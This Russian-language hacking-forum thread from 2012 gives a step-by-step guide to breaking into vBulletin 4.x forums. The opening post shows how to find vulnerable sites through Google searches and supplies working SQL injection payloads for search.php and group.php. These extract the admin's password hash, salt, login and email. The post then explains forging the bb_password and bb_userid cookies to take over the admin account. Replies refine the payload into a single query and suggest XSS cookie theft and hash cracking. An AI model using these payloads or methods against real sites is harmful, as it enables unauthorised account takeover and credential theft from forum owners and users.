Взлом vBulletin 4.x.x с последующией авторизацией в админский аккаунт

Discussion in 'Песочница' started by p0wER, 30 Mar 2012.

  1. p0wER

    p0wER Member

    Joined:
    2 Jun 2010
    Messages:
    30
    Likes Received:
    26
    Reputations:
    1
    [​IMG]

    Hello, World! На этот раз расскажу вам про взлом vBulletin 4 ветки с последующим входом в админский аккаунт, тем самым продолжая свой цикл статей про vBulletin.

    [:Что будем делать?:]

    Будем юзать известные всем (даже дошкольникам) баги в 4 ветки, а это 2 SQL-Injection, одна из них находится в search.php, другая в group.php, но эти две скули все равно связаны между собой, ибо без search.php ни одна из них работать не будет. После проведения SQL-Injection мы получим хэш и соль любого юзера (в нашем случае хэш админа). После получения хэша админа мы будем авторизироваться в аккаунт благодаря подмене кукисов, не имея при этом расшифрованного пароля.

    [:Что понадобится?:]

    • Интернет - Без него никак.
    • FireFox (Браузер, К.О) - Понадобится именно этот браузер, ибо не потребуется много времени для поиска нужных плагинов для взлома.
    • Live HTTP Header (Дополнение) - Этим дополнением будем отлавливать HTTP / GET запросы, которые происходят в браузере при определенных действиях и не только.
    • Cookie Manager (Дополнение) - Для просмотра всех кукисов которые хранятся в браузере.

    [:Ищем жертву:]

    Искать жертв проще некуда, учитывая популярность 4 ветки и неопытность юзеров, что очень разочаровывает меня, но тру хакиров это только радует. Что ж, приступим к первому шагу.

    Идем в гугл, вбиваем:
    Code:
    Powered by vBulletin 4.0.7
    Вместо 4.0.7 можно писать и другие версии от 4.0.1 до 4.1.4, но насколько я знаю фича с подменами кукисов работает не на всех версиях, однако расшифровку хэша в таких случаях никто не отменял :)

    И вот перед нами список форумов, иногда на первых страницах поиска могут быть левые ссылки, но нам нужны только такие:

    [​IMG]
    Можно определить нужный форум по подписи с версией.

    Жертву нашли, приступим к следующему шагу.

    [:SQL-Injection:]

    Вот мы на форуме и в голове всплывает вопрос: "Какую скулю юзать?". Лично я всегда начинаю с SQL-Injection в search.php, ибо эта скуля обычно не требует регистрации на форуме, но бывает и иначе, что регистрация нужна и для поиска.

    SQL-Injection в Поиске:

    Итак. Идем в поиск, который обычно располагается по адресу site.ru/path/search.php, здесь нам понадобится наш плагин Live HTTP Headers (который уже установлен, не так ли?). Включаем плагин, вбиваем в поле поиска любую чушь, к примеру: "hdajsdas" и жмем на кнопку поиска, открываем плагин и видим следующее:
    [​IMG]
    Цифрами я обозначил наши дальнейшие действия:
    1. Жмем на ссылку.
    2. Жмем кнопку повтора, чтобы можно было немного изменить запрос и отправить его еще раз.
    3. И уберите птичку с чекбокса "Фиксировать" чтобы плагин отключился.

    После нажатия кнопки "Повтор" появилось еще одно окно, там мы видим неизвестный нашему сознанию код, дописываем туда следующее:
    Code:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    Должно получиться так:
    [​IMG]

    Красной полоской я отделил первоначальный код и код который вставили мы. Пришло время рассказать вам о проблеме с который можно столкнуться после отправки этого запроса. На скрине видно, что я обвел красным кружочком "vb_" - это префикс, который может быть в названиях таблиц в базе данных, если вы отправляете запрос без префикса, а в БД таблицы с префиксом, то очевидно вы никакого хэша не получите, только ошибку. Как быть в таком случае? Все очень просто, отправляем запрос без префиксов, получаем страницу с ошибкой базы данных, открываем исходный код страницы и ищем следующее:
    [​IMG]

    Красным кружочком опять же обвел префикс, он всегда будет в этом месте и это может быть не только слово "vb_", но и другой набор букв.

    Префикс мы определили, дописали его в запрос, отправляем его и так же получаем ошибку базы данных, не пугайтесь, так и должно быть, открываем исходный код страницы и ищем:
    [​IMG]

    Это и есть хэш админа. Таким образом мы вытащили только хэш, чтобы вытащить соль нужно вставлять такой код:
    Code:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    Про префиксы не забываем.

    SQL-Injection в социальных группах:

    Для проведения данной SQL-Injection понадобится регистрация на форуме. Идем в социальные группы, обычно находятся по адресу: site.ru/path/group.php, перед нами список некоторых созданных групп, копируем название любой группы и идем в поиск.

    В поиске нужно поставить галочку возле чекбокса "Группы", а в поле поиска вставляем название группы которое только что скопировали, должно получится так:
    [​IMG]

    Включаем уже знакомый нам плагин: Live HTTP Header и жмем на кнопку поиска. Проделываем те же манипуляции в плагине, что и в прошлый раз. В "Повторе" дописываем уже другой код:
    Code:
    &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1# 
    Должно получится так:
    [​IMG]

    На скрине видно, что в данной скуле префикс нужно дописывать только в одном месте.

    Что получаем после отправки запроса:
    [​IMG]
    То есть на выхлопе мы имеем гораздо больше информации по сравнению с предыдущей скулей, а это: Логин, E-Mail, хэш и соль.

    На этом можно было бы закончить, но если я так сделаю, то наверняка получу статус баяниста года, ибо таких статей про взлом vBulletin 4 ветки и так навалом, да еще и видео на youtube есть, поэтому я расскажу вам еще кое-что.

    [:Cookies:]

    Что ж, хэш у нас есть, теперь попробуем войти в аккаунт владельца хэша. Самое забавное, что нам не придется расшифровывать хэш, всего лишь немного поменять куки полученные от форума.

    Открываем наш плагин Cookie Manager, в поле "Filter Domains" пишем домен форума который является "жертвой", нажимаем на появившийся домен и справа видим все куки полученные от форума, так-как мы еще не авторизовывались там, у нас не будет главных кукисов: bb_password и bb_userid, исправим это. Идем на сайт lj.onas/md5 и делаем все, что там написано, после чего в поле "а здесь сразу же получается md5:" появится новый хэш, который понадобится нам дальше. Копируем его, возвращаемся к Cookie Manager'у и справа нажимаем на надпись "Add Cookie", чуть выше увидим поля для заполнения, в поле Name пишем: bb_password, в поле Value вставляем хэш недавно полученный на сайте lj.onas. Жмем "Add", готово, куки добавились, теперь тоже самое проделываем с bb_userid, только в Value нужно будет вписать ID пользователя чей хэш мы стырили. В итоге должно получится так:
    [​IMG]
    И последнее действие, нужно удалить bb_sessionhash, нажимаем на надпись тем самым выделяя ее и жмем Delete. Теперь все, возвращаемся к форуму, жмем F5 и вуаля, мы в аккаунте!

    Теперь спешу вас огорчить, в админку вы не зайдете, можно забанить юзера с помощью нарушений, удалить некоторые темы, сообщения, но не более. Если вам нужно именно в админку, то попасть в нее сможете только если расшифруете хэш, юзайте cmd5.ru, я с помощью него расшифровал немало хэшей, не исключение и форум который был испытательным полигоном при написании статьи :)

    На этом пожалуй закончу.

    The End.

    P.S Писалось для конкурса на хакнете.
     
    8 people like this.
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    524
    Reputations:
    173
    Бро без обид.. но что здесь ты раскрыл?


    бага уже всем известная сто500 раз, зачем стравливать школоту в очередной раз ломать одни и те же сайты?
     
  3. p0wER

    p0wER Member

    Joined:
    2 Jun 2010
    Messages:
    30
    Likes Received:
    26
    Reputations:
    1
    OxoTnik, ни разу не видел чтоб кто-то писал про авторизацию через куки.
     
  4. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    524
    Reputations:
    173
    Упс не уследил, красава!
     
  5. TohaK

    TohaK Banned

    Joined:
    16 Aug 2011
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    Нулевые знания. Переданный копипаст.

    "Но насколько я знаю фича с подменами кукисов работает не на всех версиях, однако расшифровку хэша в таких случаях никто не отменял "

    Не работает из-за того что в кукках соль пароля не еденица. Может работать/не работать на любых версиях, все зависит от настроек.
     
    2 people like this.
  6. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Про авторизацию через куки конечно хорошо, но вот ведь если в админку залезать, пароль заново спрашивает =) Как быть?
     
  7. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    524
    Reputations:
    173
    По старинке)
     
  8. TohaK

    TohaK Banned

    Joined:
    16 Aug 2011
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    Можно заюзать XSS, кукки одолжить, я про баг в редакторе написания постов.
     
  9. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Модифицировал запрос.

    Извлекаем логин, хэш и соль ОДНИМ запросом!

    Первыая скуль с поиском:
    Ловим запрос, посли нашего текста добавляем следующее:
    PHP:

    humanverify
    []=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99union select password from user where userid=and row(1,1)>(select count(*),concat( (select concat_ws(0x3a,user.username,user.password,user.salt)) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    В слове "salt" форум вставляет пробелы.

    В исходнике будет LOGIN:HASH:SALT!

    p.s. добавте в шапку.
     
    #9 Pirotexnik, 9 Apr 2012
    Last edited: 9 Apr 2012
    1 person likes this.
  10. GizmoSB

    GizmoSB New Member

    Joined:
    14 Feb 2010
    Messages:
    75
    Likes Received:
    2
    Reputations:
    0
    спасибо понравилось
     
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,036
    Likes Received:
    533
    Reputations:
    935
    а символьное ограничение не смущает?
     
    _________________________
  12. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Влезает. хэш 32, соль меньше.
     
  13. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    373
    Likes Received:
    164
    Reputations:
    126
    ТС,забыл добавить что в соле могут быть знаки,которые нужно заменить

    " = "
    & = &
    > = >
    &lt; = <


    Соль может быть больше 32 символов ;)
     
    _________________________
    #13 kingbeef, 9 Apr 2012
    Last edited: 9 Apr 2012
    1 person likes this.
  14. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Подскажите как попасть в админку если есть доступ к базе данных?Булка 4.2.0
     
  15. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    to Sat-hacker
    Вывести логин и пароль администратора форума и если вариант с авторизацией через cookie не пройдет, расшифровывать hash, не забыв при этом прихватить salt!
    UPD. Читайте тему внимательно, в первом посте все подробно расписано!
     
  16. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    А как найти пароли в базе?База 1,5 GB
     
  17. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Подскажите кто то!
     
  18. linvel

    linvel Elder - Старейшина

    Joined:
    5 Aug 2010
    Messages:
    317
    Likes Received:
    72
    Reputations:
    16
    скачать любой брут, в разделе криптография и бруть :eek:
     
  19. Onths

    Onths New Member

    Joined:
    3 May 2012
    Messages:
    57
    Likes Received:
    2
    Reputations:
    -4
    Посмотреть id/ник администратора.
    Обычно - 1.
     
  20. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    А в какой именно таблице?Или просто откріть всю базу 1,5 GB в текстовом документе и через поиск искать id 1?